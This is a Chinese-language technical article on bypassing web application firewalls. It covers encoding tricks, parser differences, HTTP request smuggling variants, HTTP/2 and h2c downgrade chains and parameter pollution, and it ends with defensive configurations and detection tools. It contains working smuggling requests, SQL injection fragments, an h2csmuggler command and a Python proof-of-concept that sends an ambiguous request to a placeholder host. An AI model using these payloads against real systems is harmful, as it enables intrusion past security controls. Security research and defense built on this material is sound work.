一、WAF 工作原理与架构矛盾

1.1 WAF 的定位

WAF(Web Application Firewall)本质上是部署在第七层的反向代理。它不是简单的四层包过滤设备,而是要"读懂"HTTP 语义:请求行、HTTP 头、查询参数、Cookie、请求体,甚至 multipart 分块与 JSON 结构。WAF 必须先解析,再检测,最后转发——这与后端应用服务器做的事情高度重叠。

1.2 请求处理流水线

一次请求从进入 WAF 到放行/拦截,通常经过如下流水线:

        +-----------+      +----------+      +----------+
client  |  SSL/TLS  |----->|  黑名单   |----->| 惩罚盒   |
request |  终结/卸载 |      |  快速检查 |      | (限速计数)|
        +-----------+      +----------+      +----------+
                                                 |
                                                 v
        +-----------+      +----------+      +----------+
        |  决策执行  |<-----| 解析与检测|<-----| 客户端   |
        | 放行/拦截  |      | 正则+评分 |      | 信誉库   |
        +-----------+      +----------+      +----------+
              |
              v
        +-----------+
        |  后端应用  |
        | (独立解析器)|
        +-----------+

完整链路为:黑名单检查 → 惩罚盒 → 速率控制 → 客户端信誉 → 解析与检测 → 决策。其中前几步是基于 IP/UA/签名的粗粒度过滤,真正决定 payload 是否过审的是"解析与检测"阶段。

1.3 三种检测模型

WAF 的检测引擎通常组合三种模型:

  1. 签名检测(Signature):基于正则或字符串匹配,命中即拦截。例如匹配 union\s+select<script>。速度快但极易被变形绕过。
  2. 异常评分(Anomaly Scoring):对每条可疑特征赋分,累计超过阈值才拦截。例如单条 %3C 得 2 分,<script> 得 5 分,阈值 5。抗噪能力强但反应慢。
  3. 自定义规则(Custom Rules):业务侧定义的精确策略,如限制某接口只接受数字参数。

1.4 核心架构矛盾

这是理解所有绕过技术的根本前提:

        +-------------------+        +-------------------+
字节流 -->|   WAF HTTP 解析器  |--转发-->|  后端 HTTP 解析器  |--> 应用逻辑
        +-------------------+        +-------------------+
              解释 A                        解释 B
                    \                      /
                     \    当 A != B 时    /
                      \----> 绕过空间 ----/

WAF 不是后端的透明代理。 WAF 是一套独立的 HTTP 解析器,后端是另一套解析器。两套解析器对同一段字节流给出不同解释——这就是所有 payload 构造的根本依据。WAF 看到的是"安全请求",后端看到的是"攻击请求",绕过就发生了。

1.5 主流 WAF 请求体检测大小限制

WAF 为了性能,对请求体只检查前 N 字节。超出部分直接放行,这本身就是绕过面:

WAF 最大检测大小
Cloudflare 128 KB
AWS WAF 8KB-64KB
Azure WAF 128KB-2MB
Google Cloud Armor 8KB-64KB

超过阈值的部分等于"盲区",攻击者用大量无害填充把真实 payload 推到检测窗口之外即可。

二、编码变异绕过手法

编码变异的核心思路:WAF 的正则按"标准编码"写,后端解码后还原出原始 payload。两者对同一字节串的语义解释再次分裂。

2.1 URL 编码

单次:< → %3C, > → %3E, <script> → %3Cscript%3E
双重:< → %3C → %253C
union select → %2575%256E%2569%256F%256E%20%2573%2565%256C%2565%2563%2574

WAF 通常只解一层 URL 编码,后端的 web 框架可能再解一层。实测绕过率:单次约 52%,双重约 71%。差异来自"WAF 解几层"与"后端解几层"不对齐。

2.2 Unicode 编码变异

不同上下文有不同的 Unicode 转义形式,WAF 难以穷举:

JS Unicode转义:\u003cscript\u003e
JS Hex转义:\x3cscript\x3e
JSON Unicode:\u0022(双引号)
CSS Hex:\00003c
UTF-16:可能导致 XXE 检测绕过

关键是上下文决定哪种转义有效:JS 引擎吃 \uXXXX,JSON 解析器吃 \uXXXX,CSS 吃 \XXXXXX。WAF 若只对原始字符串做正则,所有转义形式都会漏过。

2.3 HTML 实体编码

" → &quot; 或 &#34; 或 &#x22;
< → &lt; 或 &#60; 或 &#x3C;

绕过率约 65%。命中的前提是 payload 最终落在会被浏览器渲染 HTML 的输出点。WAF 看到的是实体串,浏览器渲染时还原成 <

2.4 空白字符替换

SQL/命令注入的正则常用 \s 或空格分隔关键词。用非标准空白符替代即可绕过:

%09 → 水平制表符(HT)
%0a → 换行符(LF)
%0d → 回车符(CR)
%0b → 垂直制表符(VT)
%a0 → 不间断空格(NBSP)

例如 UNION%0aSELECT 在很多 WAF 签名下不命中 union\s+select,但 MySQL 仍按空白解析。

2.5 混合编码

  • 大小写混合:sElEcT, UnIoN, <ScRiPt> —— 正则若未加 (?i) 标志直接失效。
  • 注释注入:UN/**/ION SE/**/LECT 1,2,3 —— 利用 SQL 内联注释打断关键词连续性,WAF 正则看到的是被注释切断的片段,数据库引擎却会剔除注释重新拼合。

三、解析差异矩阵

编码变异只在"内容层"做文章,真正致命的是"协议层"的解析差异。WAF 与后端对同一个 HTTP 头给出不同取值,攻击者借此让双方读到不同的请求边界。

3.1 Transfer-Encoding 头解析差异

Transfer-Encoding 决定请求体如何分块。当头部写法不规范时,各服务器取值策略分叉:

服务器 Token顺序 重复头 未知Token
Apache httpd 最后一个生效 合并,最后生效 忽略(视为identity)
Nginx 第一个生效 第一个生效 拒绝(400)
IIS 10 最后一个生效 合并,第一个生效 接受但剥离
Traefik 第一个生效 第一个生效 静默接受

下面这张对比图直观展示分歧点:

   请求头: Transfer-Encoding: chunked, gzip
   -----------------------------------------------------------------
                |  取谁生效?          |  最终按什么解析 body?
   -----------------------------------------------------------------
   Nginx        |  第一个 (chunked)   |  分块传输
   Apache httpd |  最后一个 (gzip)    |  gzip 压缩流(非分块)
   IIS 10       |  最后一个 (gzip)    |  接受但剥离 → identity
   -----------------------------------------------------------------
                       关键矛盾:同一字节流,四种解释

关键矛盾:发送 Transfer-Encoding: chunked, gzip 时,Nginx 取第一个(chunked,按分块解析),Apache 取最后一个(gzip,按压缩流解析)。前端与后端若分属这两类,请求边界就错位了。

3.2 TE 头混淆变体

攻击者通过污染 TE 头的字节细节,让一方认为它是合法 TE、另一方认为它不是 TE 而忽略:

Transfer-Encoding: xchunked
Transfer-Encoding : chunked
Transfer-Encoding:[tab]chunked
[space]Transfer-Encoding: chunked
X: X[\n]Transfer-Encoding: chunked

这些变体利用了"冒号前后空格""头名前导空格""行内注入换行"等解析差异。WAF 的正则若严格匹配 ^Transfer-Encoding:\s*chunked$,几乎所有变体都漏检。

3.3 Multipart boundary 解析差异

multipart 的 boundary 参数同样存在取值分歧:

Content-Type: multipart/form-data; boundary="----Boundary; boundary=legit"

WAF 取第二个参数(legit)作为分界,后端则把两个值拼起来。于是 WAF 按 legit 切分看到无害片段,后端按拼接值切分还原出完整攻击 payload。WAFFLED 论文确认了 1207 个此类绕过实例。

真实 CVE:CVE-2026-26961(Rack 贪婪式 multipart boundary 解析)—— Rack 在解析 boundary 时贪婪匹配,导致与上游代理对分块边界的认知不一致。

四、HTTP 请求走私

请求走私(Request Smuggling)是解析差异的极致利用:让前端与后端对"请求在哪里结束"判断不一致,把走私请求"夹带"进下一个受害者的连接里。

4.1 走私原理时序图

   前端(代理)                         后端(应用)
      |                                  |
      |-- POST ... CL:13 / TE:chunked -->|  前端按CL读到"0\r\n\r\nSMUGGLED"结束
      |   body: 0\r\n\r\nSMUGGLED        |  后端按TE读到"0\r\n\r\n"结束
      |                                  |  -> "SMUGGLED" 残留在连接缓冲区
      |                                  |
      |                                  |  (下一个受害者请求进来)
      |---- GET /home HTTP/1.1 --------->|  后端: "SMUGGLED" + "GET /home"
      |                                  |  -> SMUGGLED 被当作新请求处理
      |<--- 走私请求的响应 ---------------|
      |                                  |

核心:前端认为"请求A到此结束",后端认为"请求A更早结束",残留字节被拼到下一个请求前面。

4.2 CL.TE 走私

前端用 Content-Length,后端用 Transfer-Encoding

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 13
Transfer-Encoding: chunked

0

SMUGGLED

前端按 CL 读完 13 字节(0\r\n\r\nSMUGGLED),后端按 TE 在 0\r\n\r\n 处认为分块结束,SMUGGLED 残留。

4.3 TE.CL 走私

前端用 TE,后端用 CL:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 3
Transfer-Encoding: chunked

8
SMUGGLED
0

前端按 TE 读完整分块(8\r\nSMUGGLED\r\n0\r\n\r\n),后端按 CL 只读 3 字节,剩余 SMUGGLED 残留到下个请求。

4.4 TE.TE 走私(混淆 TE 头)

通过混淆 TE 头使一方忽略它、另一方接受它。大小写混合可绕过 ModSecurity 规则 941110:

Transfer-Encoding: ChUnKeD ,	GzIp

ModSecurity 的正则对 chunked 大小写敏感,ChUnKeD 不命中;而后端服务器做大小写不敏感匹配,仍按分块处理。差异即走私。

4.5 CL.CL 走私

发送两个不同的 Content-Length 头:

Content-Length: 3
Content-Length: 100

前端取第一个、后端取第二个(或反之),读取边界不一致即可夹带。

4.6 CL.0 走私

发送 Content-Length: 0 但实际附带 body:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 0

SMUGGLED

若前端拒绝再读(认为 body 为空),后端却信任实际字节流,残留即发生。

4.7 分块扩展走私(2025 新技术)

HTTP 分块允许在大小行后写扩展字段(;ext)。前端忽略畸形扩展、视为单个请求,后端把扩展当作分块终止,于是后续字节被解释为新请求:

POST / HTTP/1.1
Host: example.com
Transfer-Encoding: chunked

5;
0

GET /admin HTTP/1.1
Host: internal

前端忽略 5; 的畸形扩展视为一个请求,后端将 GET /admin 解释为新请求,从而走私到内网。

五、协议走私链构造

单个走私点已经够危险,更可怕的是把多个不同步点串成"链",让检测在每一层都失效。

5.1 协议走私链全景图

   攻击者
     |
     | (1) HTTP/2 请求
     v
+------------------+      HTTP/2 帧长度 = 前端唯一边界依据
|  HTTP/2 前端      |      不剥离 TE/CL, 降级翻译为 HTTP/1.1
|  (ALB / CDN)     |
+------------------+
     |
     | (2) 翻译后的 HTTP/1.1 流  (带 TE: chunked 或 CL)
     v
+------------------+      后端按 TE 或 CL 二次切分 -> 边界再次偏移
|  HTTP/1.1 后端    |
|  (mod_proxy 等)  |
+------------------+
     |
     | (3) 走私请求到达内网 /admin
     v
   受保护资源

链的本质:每一跳都是一次"边界翻译",每次翻译都可能引入新的不同步点。

5.2 HTTP/2 降级走私

HTTP/2 用帧长度界定请求边界,没有文本协议的 CL/TE 歧义。但当前端把 HTTP/2 降级翻译成 HTTP/1.1 时,若未正确处理 TE/CL 头,就会重新引入走私面:

变体 前端长度依据 后端长度依据
H2.TE HTTP/2 帧长度 Transfer-Encoding: chunked
H2.CL HTTP/2 帧长度 Content-Length

真实案例:AWS ALB 在降级时未剥离 TE 头。James Kettle 利用 H2.TE 攻击 Verizon 执法访问门户——ALB 按帧长度转发,后端按 Transfer-Encoding: chunked 解析,二者错位即走私。

5.3 h2c 走私(明文升级)

HTTP/1.1 的 Upgrade: h2c 握手可让明文连接升级为 HTTP/2。若前端代理允许升级却不理解升级后的二进制帧,攻击者可在升级后的隧道里夹带任意 HTTP/1.1 请求:

python3 h2csmuggler.py -u https://target -x 'GET /admin HTTP/1.1\r\nHost: target\r\n\r\n'

前端只看到一次合法的 Upgrade 握手,后续走私请求全部走"看不见"的 h2c 隧道直达后端。

5.4 双重 Desync 链(TE.TE + CL.TE)

把两个独立的不同步点串联:第一层用 TE.TE 混淆让前端与中间件对分块认知错位,第二层再用 CL.TE 让中间件与后端对边界再次错位。两层错位叠加后,任何单点检测都无法还原完整语义,定位极难。

5.5 WebSocket 升级走私

利用 Upgrade: websocket 握手处理差异:前端认为这是 WebSocket 升级、转入隧道模式,后端却仍按普通 HTTP 请求解析。隧道里夹带的字节被后端当成新 HTTP 请求执行,实现穿透 WAF 直达后端。

六、WAF 检测绕过技术

除了协议层走私,还有一类思路是直接"骗过" WAF 的检测窗口与逻辑。

6.1 分块传输绕过

把 payload 拆成单字符的分块,WAF 逐块检查永远凑不出完整签名:

2
id
1
=
1
1
0

每个分块单独看都是无害片段,数据库引擎按分块协议重组后才得到 id=1。完整 SQLi payload 拆开后同理,WAF 的签名匹配在单块内永远不命中。

6.2 多部分表单绕过

把 payload 拆到多个 multipart part 里,每个 part 都是无害片段。WAF 逐个 part 检查看不到完整签名,后端应用却会把多个 part 拼接成完整逻辑。

6.3 请求体大小溢出绕过

利用第一节列出的检测大小上限(如 Cloudflare 128KB、AWS 8KB-64KB)。前置大量无害垃圾数据填充到超过阈值,把真实 payload 推到 WAF 检测窗口之外,WAF 截断后直接放行尾部。

6.4 参数污染

?id=1&id=UNION SELECT password FROM users

WAF 通常取第一个参数值 id=1(看似无害)检查通过,后端却可能取最后一个或拼接全部值,于是 UNION SELECT 被执行。前后端对"同名参数取值策略"不一致是根因。

6.5 基于信任的排除

WAF 常对"可信来源"跳过检测,攻击者伪装成可信源即可整体绕过:

  • 直连源站:通过历史 DNS 记录、favicon hash、Shodan 等找到源站真实 IP,绕过 CDN 前置的 WAF。
  • 头部伪造:伪造 X-Forwarded-For: 127.0.0.1,WAF 误判为内网可信调用而放行。
  • ASN 信任滥用:伪造来自可信云厂商 ASN 的请求,命中 WAF 的 ASN 白名单。

七、实际绕过 PoC

下面是一个 TE.TE 走私的 Python 原始报文 PoC。它同时发送 Transfer-Encoding: chunked , gzipContent-Length,利用前端与后端对 TE 头取值策略的不同实现夹带。注意 latin1 编码避免多字节字符破坏字节级偏移。

import socket, ssl

HOST = "vulnerable.example"
PORT = 443

raw = (
  "POST /login HTTP/1.1\r\n"
  "Host: {host}\r\n"
  "Transfer-Encoding: chunked , gzip\r\n"
  "Content-Length: 52\r\n"
  "Content-Type: application/x-www-form-urlencoded\r\n"
  "\r\n"
  "b\r\n"
  "username=admin&pwd=pass\r\n"
  "0\r\n\r\n"
).format(host=HOST)

ctx = ssl.create_default_context()
with ctx.wrap_socket(socket.socket(), server_hostname=HOST) as s:
    s.connect((HOST, PORT))
    s.sendall(raw.encode('latin1'))
    print(s.recv(4096).decode(errors='ignore'))

要点拆解:

  • 同时给出 Transfer-EncodingContent-Length,制造 CL/TE 共存歧义。
  • chunked , gzip 这种混合写法让大小写敏感的 WAF 正则不命中 chunked,而后端按不敏感匹配仍走分块。
  • 0\r\n\r\n 终止分块,前端若按 CL 读 52 字节会把后续受害者请求"吸"进来,实现夹带。
  • latin1 编码发送,保证 \r\n 等控制字节精确,不被 UTF-8 转换破坏偏移。

八、真实 CVE 汇总

CVE 描述
CVE-2023-25690 Apache mod_proxy 请求拆分走私
CVE-2023-25950 HAProxy HTX 解析器不当处理
CVE-2022-41721 Go MaxBytesHandler 残留 body 解析为 HTTP/2 帧
CVE-2026-26961 Rack 贪婪式 multipart boundary 解析

这些 CVE 的共同点是"前端与后端对请求边界认知不一致"。修复方向也都指向同一处:归一化解析、剥离用户提供的长度头、连接隔离。

九、检测与防御方案

9.1 协议层防御

  1. 端到端 HTTP/2:消除降级翻译环节,HTTP/2 帧长度天然无歧义。
  2. 生成有效 Content-Length 并剥离用户提供的 CL/TE 头:前端重新计算长度,丢弃客户端原始的 CL/TE,杜绝夹带。
  3. 前端归一化 + 后端拒绝歧义:前端把请求规范化为单一形式,后端对仍带歧义(如同时出现 CL 和 TE)的请求直接 400 拒绝。
  4. 连接隔离:一请求一连接,不复用 keep-alive 连接,根除"残留字节拼到下个请求"的土壤。
  5. 剥离 Upgrade 头:阻断 h2c 与 WebSocket 升级走私隧道。

9.2 WAF 规则加固

WAF 正则必须覆盖大小写与空白变体,否则大小写混淆与空白污染会直接失效:

# 扩展正则覆盖大小写和空白
(?i)Transfer\s*-\s*Encoding\s*:\s*.*chunked

要点:(?i) 忽略大小写、\s* 容忍头名与冒号周围的任意空白、.* 容忍逗号后的额外 token。还要对重复头、行内注入换行做专门拦截。

9.3 Nginx 加固配置

proxy_set_header Upgrade "";
proxy_set_header Connection "";
proxy_set_header Transfer-Encoding "";

显式清空 UpgradeConnectionTransfer-Encoding 三个头,阻断升级走私与分块歧义。配合 proxy_http_version 1.1 与连接隔离可进一步收敛攻击面。

9.4 检测工具

  • Burp Request Smuggler:Burp 插件,自动化探测 CL.TE / TE.CL / TE.TE。
  • OWASP Smuggler:命令行批量检测走私面。
  • h2cSmuggler:专门针对 h2c 升级走私。
  • nmap NSE http-smuggle:集成进 nmap 的走私检测脚本。

9.5 纵深防御一句话

所有走私与绕过的根,都是"两套解析器对同一段字节流给出不同解释"。任何让前端与后端解析行为对齐的措施,都是治本之策;任何只在前端做检测、后端信任转发的架构,都天然存在绕过空间。

免责声明

本文所涉技术内容(包括编码变异、解析差异、HTTP 请求走私、协议走私链、PoC 代码及绕过手法)仅用于网络安全防御研究、授权渗透测试、安全教学与产品加固参考。所有 PoC 与示例均针对假想的测试目标,不针对任何真实生产系统。未经授权对他人系统进行扫描、测试或攻击属于违法行为,可能违反《中华人民共和国网络安全法》《中华人民共和国刑法》第二百八十五条、第二百八十六条及所在司法管辖区的相关法律,作者不承担任何因不当使用本文内容而产生的法律责任。读者应在获得明确书面授权的前提下,于自有或授权环境中进行验证,并对自身行为的合规性负全部责任。文中提及的 CVE 编号、厂商产品及具体参数仅为技术说明,不代表对任何厂商的负面评价,相关漏洞应以厂商官方公告为准。